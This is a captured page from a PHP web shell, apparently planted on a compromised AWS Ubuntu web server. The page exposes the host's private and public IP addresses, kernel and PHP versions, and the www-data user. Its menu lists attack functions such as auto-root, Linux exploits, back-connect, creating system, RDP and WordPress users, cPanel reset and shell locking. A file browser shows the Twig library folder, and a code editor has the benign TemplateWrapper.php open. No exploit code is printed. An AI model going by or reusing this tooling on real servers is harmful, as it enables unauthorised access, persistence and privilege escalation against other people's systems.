Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.116.60.124
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
boaz /
vendor /
twig /
twig /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
Cache
[ DIR ]
drwxrwxr-x
Error
[ DIR ]
drwxrwxr-x
Extension
[ DIR ]
drwxrwxr-x
Loader
[ DIR ]
drwxrwxr-x
Node
[ DIR ]
drwxrwxr-x
NodeVisitor
[ DIR ]
drwxrwxr-x
Profiler
[ DIR ]
drwxrwxr-x
RuntimeLoader
[ DIR ]
drwxrwxr-x
Sandbox
[ DIR ]
drwxrwxr-x
Test
[ DIR ]
drwxrwxr-x
TokenParser
[ DIR ]
drwxrwxr-x
Util
[ DIR ]
drwxrwxr-x
Compiler.php
4.8
KB
-rw-rw-r--
Environment.php
23.33
KB
-rw-rw-r--
ExpressionParser.php
31.92
KB
-rw-rw-r--
ExtensionSet.php
12.3
KB
-rw-rw-r--
FileExtensionEscapingStrategy....
1.41
KB
-rw-rw-r--
Lexer.php
19
KB
-rw-rw-r--
Markup.php
844
B
-rw-rw-r--
NodeTraverser.php
1.78
KB
-rw-rw-r--
Parser.php
11.08
KB
-rw-rw-r--
Source.php
1023
B
-rw-rw-r--
Template.php
12.52
KB
-rw-rw-r--
TemplateWrapper.php
2.63
KB
-rw-rw-r--
Token.php
5.17
KB
-rw-rw-r--
TokenStream.php
3.45
KB
-rw-rw-r--
TwigFilter.php
3.05
KB
-rw-rw-r--
TwigFunction.php
2.79
KB
-rw-rw-r--
TwigTest.php
2.25
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TemplateWrapper.php
<?php /* * This file is part of Twig. * * (c) Fabien Potencier * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Twig; /** * Exposes a template to userland. * * @author Fabien Potencier <fabien@symfony.com> */ final class TemplateWrapper { private $env; private $template; /** * This method is for internal use only and should never be called * directly (use Twig\Environment::load() instead). * * @internal */ public function __construct(Environment $env, Template $template) { $this->env = $env; $this->template = $template; } public function render(array $context = []): string { // using func_get_args() allows to not expose the blocks argument // as it should only be used by internal code return $this->template->render($context, \func_get_args()[1] ?? []); } public function display(array $context = []) { // using func_get_args() allows to not expose the blocks argument // as it should only be used by internal code $this->template->display($context, \func_get_args()[1] ?? []); } public function hasBlock(string $name, array $context = []): bool { return $this->template->hasBlock($name, $context); } /** * @return string[] An array of defined template block names */ public function getBlockNames(array $context = []): array { return $this->template->getBlockNames($context); } public function renderBlock(string $name, array $context = []): string { $context = $this->env->mergeGlobals($context); $level = ob_get_level(); if ($this->env->isDebug()) { ob_start(); } else { ob_start(function () { return ''; }); } try { $this->template->displayBlock($name, $context); } catch (\Throwable $e) { while (ob_get_level() > $level) { ob_end_clean(); } throw $e; } return ob_get_clean(); } public function displayBlock(string $name, array $context = []) { $this->template->displayBlock($name, $this->env->mergeGlobals($context)); } public function getSourceContext(): Source { return $this->template->getSourceContext(); } public function getTemplateName(): string { return $this->template->getTemplateName(); } /** * @internal * * @return Template */ public function unwrap() { return $this->template; } }
Close